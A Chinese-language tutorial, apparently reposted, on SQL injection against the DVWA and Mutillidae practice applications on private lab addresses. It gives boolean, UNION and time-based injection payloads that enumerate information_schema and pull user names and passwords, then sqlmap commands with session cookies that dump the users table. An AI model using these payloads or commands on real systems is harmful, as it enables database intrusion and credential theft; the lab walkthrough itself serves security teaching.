SQL注入


1、查詢數據語句

 1 select * from users;
 2 select user_id,first_name,last_name from users;
 3 desc mysql.user  //查看表結構
 4 //條件查詢
 5 select user,password,host from mysql.user where user='root'
 6 
 7 //聯合查詢
 8 select user,password from mysql.user union select user_login,user_pass from wordpress.wp_users;
 9 
10 //猜字段數,直到試到合適的字段數z 
11 select * from dvwa.users union select 1,2,3;
 1  information_schema
 2 可以認為是數據庫字典, 保存了MySQL的表、庫的信息
 3 select * from information_schema.TABLES limit 1\G; 查看表的詳細信息
 4 *************************** 1. row ***************************
 5   TABLE_CATALOG: NULL
 6    TABLE_SCHEMA: information_schema
 7      TABLE_NAME: CHARACTER_SETS
 8      TABLE_TYPE: SYSTEM VIEW
 9          ENGINE: MEMORY
10         VERSION: 10
11      ROW_FORMAT: Fixed
12      TABLE_ROWS: NULL
13  AVG_ROW_LENGTH: 384
14     DATA_LENGTH: 0
15 MAX_DATA_LENGTH: 16604160
16    INDEX_LENGTH: 0
17       DATA_FREE: 0
18  AUTO_INCREMENT: NULL
19     CREATE_TIME: NULL
20     UPDATE_TIME: NULL
21      CHECK_TIME: NULL
22 TABLE_COLLATION: utf8_general_ci
23        CHECKSUM: NULL
24  CREATE_OPTIONS: max_rows=43690
25   TABLE_COMMENT:

2、低安全級別

輸入ID1,前端會顯示對應的用戶名

 

 在輸入框內輸入user ID后,系統會自動返回ID對應的用戶名,此時在數據庫端實際的指令是

1 select first_name,last_name from dvwa.users where user_id=1;

 

 

 

 2.1基於布爾的注入

布爾邏輯注入的思路是閉合SQL語句、構造or和and邏輯語句、注釋多余的代碼。輸入代碼:

1 'or 1=1 -- '

 

 

1 原始語句
2 mysql>select first_name,last_name from dvwa.users where user_id='';
3 
4 SQL注入語句解析:'or 1=1 -- '
5 mysql>select first_name,last_name from dvwa.users where user_id=' 'or 1=1 --' ';
6 說明:
7 第一個'用於閉合前面的條件
8 or 1=1為真的條件
9 --將注釋后面的所有語句

2.2基於union注入

union語句用於聯合前面的select查詢語句,合並查詢更多信息;一般通過錯誤和布爾注入確認注入點之后,便開始通過union語句來獲取有效信息

 1 //猜測數據列數
 2 ' union select 1 -- '
 3 ' union select 1,2 -- '
 4 ' union select 1,2,3 -- '
 5 SQL注入語句解析
 6 mysql>select first_name,last_name from dvwa.users where user_id='' union select 1 -- ''
 7 
 8 mysql>select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- ''
 9 
10 //獲取當前數據庫及用戶信息
11  ' union select version(),database() -- '
12 ' union select user(),database() -- '
13 mysql>select first_name,last_name from dvwa.users where user_id='' union select version(),database() --'';
14
mysql>select first_name,last_name from dvwa.users where user_id='' union select user(),database() --'';
說明:
version() 獲取數據庫版本信息
database() 獲得當前數據庫名
user() 獲得當前用戶名

//查詢數據庫中所有表
information_schema數據庫是MySQL自帶的,它提供了訪問數據庫元數據的方式;
元數據包括數據庫名、表名、列數據類型、訪問權限、字符集等基礎信息

 SQL注入語句解析

//查詢所有表
1
mysql>select * from information_schema.TABLES\G
1 //查詢所有庫名
2  ' union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- '        //前端注入SQL語句
3 mysql>select first_name,last_name from dvwa.users where user_id =' ' union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- '';    //后端數據庫查詢語句

 

 

 

1  // 查看所在庫中所有表名
2 ' union select table_name,1 from INFORMATION_SCHEMA.tables -- '
3 mysql>select first_name,last_name from dvwa.users where user_id='' union select table_name,1 from INFORMATION_SCHEMA.tables -- ' '
1 //同時查詢表名及對應庫名
2 ' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables -- '
3 mysql>select first_name,last_name from dvwa.users where user_id =' ' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables -- ' '

  

1 //原始語句,$id為前端輸入的id,如123
2 mysql>select first_name,last_name from dvwa.users where user_id='$id'
1 //查詢數據表,查詢字段名
2 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='users' -- '
3 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES' -- '
4 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' -- '

上述注入在后端數據庫查詢語句如下

1 mysql>select first_name,last_name from dvwa.users where user_id=' 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='users' -- ' '
2 mysql>select first_name,last_name from dvwa.users where user_id=' 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES' -- ' '
3 mysql>select first_name,last_name from dvwa.users where user_id=' 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' -- ' '
1 //查詢數據列
2 'union select NULL,user from users -- '
3 'union select NULL,password from users -- '
4 'union select user,password from users -- '
5 'union select NULL,GRANTEE from USER_PRIVILEGES -- '
6 'union select password,concat(first_name,' ',last_name,' ' ,user) from users -- '

 

2.3 基於時間的盲注

  有些數據庫對錯誤信息做了安全配置,使得無法通過以上方式探測到注入點,此時,通過設置sleep語句來探測注入點。輸入1為真語句,后面附加' and sleep(5)-- ',延遲5秒鍾返回,說明后面的語句是可以執行的

  SQL注入語句解析

1 mysql>select first_name,last_name from dvwa.users where user_id ='1' and sleep(5) -- '

2.4 sqlmap自動化注入 

SQL注入比較好用的工具,首推開源工具sqlmap。sqlmap是國內外著名的安全穩定性測試工具,可以用來進行自動化檢測,利用SQL注入漏洞,獲取數據庫服務器的權限。它具有功能強大的檢測引擎,針對各種不同類型數據庫的安全穩定性測試的功能選項,包括獲取數據庫中存儲的數據,訪問操作系統文件甚至可以通過外帶數據連接的方式執行操作系統命令。

sqlmap支持MySQL,Oracle,postgreSQL,Microsoft SQL server,Microsoft access,IBM DB2,SQLite,Firebird,Sybase和SAP MaxDB等數據庫的各種安全漏洞檢測。

訪問以下鏈接得到有SQL注入的頁面:http://192.168.152.148/mutillidae/index.php?page=user-info.php 

 

 

 輸入用戶名,密碼后復制URL到sqlmap進行自動化注入。

sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch -p username

--batch 表示自動化完成   -p username 指定對username字段進行注入。最后得到的注入結果如下,

  

 

 

sqlmap參數解析:

--users      對用戶進行注入

--current-user    對當前用戶注入

--dbs       過濾數據庫

--current-db     過濾當前數據庫

--batch    //自動化完成

-D database_name --tables    //對某個數據庫進行注入

-D database_name -T table_name --columns     //對數據庫表中的列進行注入

-D database_name -table_name -C username,password --dump     //指定獲取哪些字段的內容

-D database_name -table_name  --dump-all     //獲取所有字段內容

輸入sqlmap -h獲取幫助

   -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate

 開始注入

1、獲取所有數據庫信息

sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch --dbs

 

 

 2、對某個數據庫進行注入,本例獲取dvwa的表信息

 sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch -D dvwa --tables

 

 

 3、對dvwa數據庫的users表進行注入

sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch -D dvwa -T users --columns

 

 

 4、或者users表中的字段所有內容

sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch -D dvwa -T users --dump-all

 

當然也可以對某個字段進行注入

sqlmap -u "http://192.168.152.148/mutillidae/index.php?page=user-info.php&username=admin&password=123%91%92&user-info-php-submit-button=View+Account+Details" --batch -D dvwa -T users -C "user" --dump

 

2.5 使用sqlmap對dvwa進行自動化注入

 2.5.1 獲取注入點URL

在輸入框中輸入“1”,提交后復制URL,由於系統需要登錄,因此使用sqlmap注入時需要把cookie加上去

 

 

2.5.2獲取數據庫

1 sqlmap -u "http://172.17.82.42/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit\#" --cookie="security=low; PHPSESSID=ttctsu0f3c4dfodsdh3kvi0id2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --dbs

 

 

2.5.3 獲取表

1 sqlmap -u "http://172.17.82.42/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit\#" --cookie="security=low; PHPSESSID=ttctsu0f3c4dfodsdh3kvi0id2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" -D dvwa --tables

 

 

2.5.4獲取列

1 sqlmap -u "http://172.17.82.42/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit\#" --cookie="security=low; PHPSESSID=ttctsu0f3c4dfodsdh3kvi0id2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" -D dvwa -T users --colums

 

 

2.5.5 獲取用戶名和密碼

1 sqlmap -u "http://172.17.82.42/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ttctsu0f3c4dfodsdh3kvi0id2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" -D dvwa -T users -C password,user --dump

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM